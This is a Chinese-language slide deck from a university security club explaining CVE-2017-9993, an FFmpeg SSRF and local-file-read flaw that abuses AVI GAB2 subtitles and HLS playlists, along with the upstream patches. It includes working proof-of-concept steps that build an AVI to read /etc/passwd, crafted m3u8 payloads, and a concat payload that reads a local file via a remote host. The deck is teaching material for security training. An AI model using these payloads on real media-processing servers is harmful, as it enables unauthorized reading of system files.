CVE-2017-9993 ===== FFmpeg + AVI + HLS ---- ## [交大 BambooFox](https://bamboofox.github.io/) ![](https://i.imgur.com/u3ythu3.png) FB: [交大網路安全策進會](https://www.facebook.com/NCTUCSC/?fref=ts) ---- <img src="https://i.imgur.com/Eo7cL8Y.png" style="width:200px;height:200px;border-radius:50%"/> #### [CA Lee](https://www.facebook.com/calee0219) calee@cs.nctu.edu.tw 交大資工 大三 交大 BambooFox 新手村成員 --- ## Outline - 簡介 SSRF - 漏洞概念 - POC - 漏洞觸發流程 - 繞過工具 - 細節 - 第二種攻擊 --- ## SSRF Server Side Request Forgery - 攻擊者造成由服務端(Server) 發出請求,造成的資安漏洞 - 目的多在與訪問外網無法訪問的系統 ---- ![](https://d3eaqdewfg2crq.cloudfront.net/wp-content/uploads/2013/08/image2.png) ---- ### 常見漏洞 - URL 存取 (轉址、分享...) - 圖片、檔案上傳 - [參考](http://zjw.dropsec.xyz/uncategorized/2016/11/19/SSRF%E6%BC%8F%E6%B4%9E%E5%88%9D%E6%8E%A2.html) --- ## 歷史 ### CVE-2016-1897 、 CVE-2016-1898 结合 [SSRF](https://read01.com/kRxM7n.html#.WZMuSncjHOQ) ,我們可以把 file:// 讀到的內容發送出来 > concat: URL1 | URL2 | … | URLN ``` #EXTM3U #EXT-X-TARGETDURATION:6 #EXTINF:10.0, concat:http://rr.sb/poc/header.m3u8|file:///tmp/vuln #EXT-X-ENDLIST ``` --- ## Concept - 透過上傳的影片檔,觸發 SSRF 漏洞 - 繞過檢查: - FFmpeg 可以處理 HLS playlist - HLS playlist 會對外部文件做引用 - 利用 AVI 文件中的 GAB2 字幕模組來觸發此功能 - 通過 XBIN 編解碼器 檢索轉換節點的本地文件 - 任意讀取本地文件 ---- ### 一般視訊上傳 ![](https://i.imgur.com/5pZ0tJ1.png) [source](https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.g2236f7db50_1_9) ---- ### Attack ![](https://i.imgur.com/VGBM5go.png) [source](https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.g2236f7db50_1_10) --- ## PoC 1. 下載 PoC code: ``` wget https://raw.githubusercontent.com/neex/ffmpeg-avi-m3u-xbin/master/gen_xbin_avi.py ``` ---- 2. 生成 avi: ``` python3 gen_xbin_avi.py file:///etc/passwd sxcurity.avi ``` ---- 3. 上傳 sxcurity.avi 到會利用 ffmpeg 做處理的網站 ---- 4. FFmpeg 會自動作出處理: (這裡我們是生成 output.mp4 檔案) ``` ffmpeg -i sxcurity.avi output.mp4 ``` ---- 5. 而在處理成 output.mp4 的時候,就會把一開始寫的 `/etc/passwd` 以影片的方式,呈現出來 --- ## 漏洞觸發流程 1. 制作一个 AVI 格式的容器文件,其中包含 GAP2 格式的字幕和 HLS 播放列表 2. 列表中的外部文件特意寫成 /etc/passwd 等希望讀取内容的敏感文件 3. ffmpeg 轉碼這個 AVI 文件時,會將其中的 GAP2 内容與 /etc/passwd 文件中的内容接為最终的字幕 4. 字幕文本以 XBIN 編碼,最終會被 FFmpeg 轉為視屏 --- ## 繞過工具 ---- ## AVI - [AVI](https://zh.wikipedia.org/wiki/AVI%E6%A0%BC%E5%BC%8F) 本身只是提供了這麼一個框架,內部的圖像資料和聲音順據格式可以是任意的編碼形式。 - AVI的檔案結構分為「頭部」,「主體」和「索引」三部分。從尾部的索引可以索引跳到自己想放的位置 - 索引放在了檔案尾部,所以在播放internet串流媒體時已屬力不從心。 ---- ## FFmpeg - [FFmpeg](https://zh.wikipedia.org/wiki/FFmpeg) 是一個自由軟體,可以執行音訊和視訊多種格式的錄影、**轉檔**、串流功能 - 可以解析 HLS 格式 ---- ## HLS - [HLS(HTTP Live Streaming)](https://en.wikipedia.org/wiki/HTTP_Live_Streaming): 將影片切成多個片段,適時的求取下一片段 - 不同的備用源中以不同的速率下載同樣的資源 - 在開始一個流媒體會話時,客戶端會下載一個包含 matadata 的 extended M3U (m3u8) playlist 文件,用於尋找可用的媒體流 ---- ## HLS sample ```= #EXTM3U // 宣告 m3u8 playlist #EXT-X-VERSION:3 #EXT-X-ALLOW-CACHE:YES #EXT-X-MEDIA-SEQUENCE:4454 #EXT-X-TARGETDURATION:4 // 每隔 4 秒重新抓一次 #EXTINF:3.998, no desc // 此片段停留 3.998 25133_src/4460.ts // 要索取的 ts 檔 #EXTINF:3.992, no desc 25133_src/4461.ts #EXTINF:3.985, no desc 25133_src/4462.ts #EXTINF:3.979, no desc 25133_src/4463.ts #EXTINF:3.996, no desc 25133_src/4464.ts ``` 參考: [TechBridge 技術共筆部落格](http://blog.techbridge.cc/2016/12/03/livestreamming-hls-note/) --- ## 細節內容 ---- ### sxcurity.avi ![](https://i.imgur.com/syuQPys.png) - RIFF... : AVI header - GAB2: 使用 GAB2 字幕模組 - #EXTM3U: GAB2 字幕是使用 HLS 格式 (m3u8 playlist) ---- ### m3u8 ![](https://i.imgur.com/n9ZZVSl.png) ---- ### XBin - XBin 是一個蠻古老的格式 - 可以顯現視訊,文本 - 可以編程 - 將目標文件作為對象,用 xbin 繪製成字符,可作為合法可看的視頻 ---- 所以我們希望 m3u8 playlist 可以長這樣 ``` [AVI header] [GAB2 header] [m3u8 header] [XBIN header] 目标文件 [XBIN footer] [m3u8 footer] [AVI footer] ``` ---- 希望形成的格式 ``` #EXTM3U #EXT-X-MEDIA-SEQUENCE:1 #EXTINF:1.0, data:<format-header> #EXTINF:1.0, file:///etc/passwd #EXTINF:1.0, data:<format-footer> #EXT-X-ENDLIST ``` 但是 FFmpeg 對 body 作檢查了,不允許 data 宣告 ---- ### #EXT-X-KEY - 表示如何對每個片段進行解碼 - m3u8 本身對 body 有做檢查,不能直接宣告 xbin 格式 ![](https://i.imgur.com/mDNw70R.png) ---- - 利用 m3u8 支持 AES128 的 CBC 模式加密的特性 - /dev/zero - [AES-128 CBC](http://aes.online-domain-tools.com/) - text: 4c4d465e0b95223279487316ffd9ec3a\ 0000000000000000 - URI -> AES key: 0000000000000000 - #EXT-X-BYTERANGE 設置偏移 ![](https://i.imgur.com/uZLih2S.png) ---- ### 然後用 FFmpeg 做轉檔 ![](https://i.imgur.com/QlXhOtG.png) - 利用 XBIN 格式與 HLS 的特性 - FFmpeg 做轉檔時,因為 HLS 寫好的,會一個片段一個片段的把 /etc/passwd 帶出來 ---- ![](https://i.imgur.com/5jGeG0Y.png) ---- {%youtube cnPRESfhRbE %} --- ## Patch - 在解析 AVI 時,把 GAB2 字幕限制為常見的 srt 和 ass 格式 - [avformat/avidec: Limit formats in gab2 to srt and ass/ssa](https://github.com/FFmpeg/FFmpeg/commit/a5d849b149ca67ced2d271dc84db0bc95a548abb) - 特殊檔案標頭用白名單過濾 (file://) - [avformat/hls: Check local file extensions](https://github.com/FFmpeg/FFmpeg/commit/189ff4219644532bdfa7bab28dfedaee4d6d4021) --- ## 另一種攻擊 ---- https://hackerone.com/reports/243470 - FFmpeg 在處理 HLS 時,會先把 playlist 上要處理的每一格先合成成一個檔案 - 利用 playlist 上的第一個檔案格式作為合成檔案格式 - ffmpeg 會對 .txt 做特殊處理,它會嘗試將文件的内容以终端的方式印在屏幕上 ---- ## So 新的生成檔會長這樣: ![](https://i.imgur.com/hEaWW40.png) ---- 1. FFmpeg在 GAB2 字幕裡面看到了 #EXTM3U => HLS 2. .txt 會在合成後,把合成檔當成 txt (GOD.txt 不需要存在,他只看 string) 3. 在合成大檔案後,就可以看到 /etc/passwd 了 ---- {%youtube 328y4Ay1cjM %} --- ## Conclusion - HLS 協定有其目的 - But HLS 可以引用到外部檔案 (實作) - 此特性可能讓其未來還有其他漏洞 - 解決方法 - 做好權限控管 - 包進 container --- ## Reference [演講](https://www.facebook.com/calee0219/posts/1486610381431088?pnref=story) [ppt](https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.p) - https://zhuanlan.zhihu.com/p/28255225 - http://blog.shengbin.me/posts/a-vulnerability-of-ffmpeg - http://paper.seebug.org/338/ --- ### NCTU CSC ### BambooFox ![](https://i.imgur.com/BRJcexe.jpg =650x) ---- ## 成立宗旨 - 資安技術與知識傳承 - 促進學生的資安意識與技術 - 協助學校漏洞修補、增進校園網路安全 ---- ## 簡介 - BambooFox 誕生於交大 DSNS Lab、SQLab 以及系計中 - 成員包含交大、清大、中央、中原 - 由 Mango King 與 Banana Apple 成立學校社團 網路安全策進會 - 實驗室 + 系計中 + 社團 + 戰隊 + 學長前輩們 - 主要以 CTF 題目為練習目標 ---- ## CTF - Capture The Flag,簡稱 CTF - 由主辦單位設計帶有漏洞的程式或網站,讓參賽者進行解題或互相攻防 - 培育資安人才 - 藉由參與 CTF 競賽,提升自我程度,學習許多神奇技巧,出國玩,拿獎金 (X) ---- ## 社群效應 - 舉辦/參加 研討會,與台灣各地人才交流、技術分享 - 學長姊願意回來指導 - 認識一些資安界大大 ---- ## 學習資源 - [BambooFox 網頁](https://bamboofox.github.io/) - [BambooFox Training](https://bamboofox.cs.nctu.edu.tw/) - [BambooFox Youtube Channel](https://www.youtube.com/channel/UCWIxPblsd5y4QGR1qhX3FGA) - [FB 討論群](https://www.facebook.com/groups/1513695338847931/?fre) - [社團粉專](https://www.facebook.com/NCTUCSC/?fref=ts) --- ## BambooFox 讀書會 - 每月一次 - 新竹地區最大資安聚會 XD - 每次會有一到兩個分享 - CVE, ZeroDay, 病毒設計, 伺服器管理, 社交工程... - 題目不限,有興趣的都歡迎來參加 or 分享 - 吃吃喝喝,聊聊天
{"robots":"index, follow","tags":"CSC, 資安, 讀書會, 簡報","description":"Information Security","lang":"zh-tw","dir":"ltr","breaks":true,"disqus":"hackmd","GA":"UA-100433652-1"}
    15389 views